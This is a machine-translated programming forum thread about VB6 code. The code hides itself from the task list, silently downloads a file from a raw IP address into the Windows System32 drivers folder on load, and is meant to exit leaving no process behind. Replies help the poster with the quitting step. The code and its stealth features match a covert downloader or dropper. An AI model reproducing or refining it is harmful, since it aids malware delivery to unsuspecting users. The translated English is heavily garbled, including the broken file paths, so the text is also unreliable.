Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long 

Private Sub Command1_Click () 
URLDownloadToFile 0, "http://198.200.35.161/2.txt", "C: \ Windows \ System32 \ drivers \ 2. TXT", 0, 0 
End Sub 

Private Sub Form_Load () 
App. TaskVisible=False 
Call Command1_Click 
End Sub 

Over how to run the code, can automatically quit; Thank you to quit completely no process

CodePudding user response:

Add that the project has two forms; The second FORM is
Private Sub Timer1_Timer ()
Form1...
End Sub
Above is FORM1 required to run the FORM1 automatically quit FORM2 continues to run, always run

CodePudding user response:

URLDownloadToFile () is blocking type operation,
Download not over error (or interrupted), it is not execute instructions,

You're URLDownloadToFile next and Unload me went,

CodePudding user response:

1) Unload Me
2) End
Can be!

CodePudding user response:

This function is to realize the interface can be download progress,

CodePudding user response:

The positive solution on the second floor!!!!!!!!!!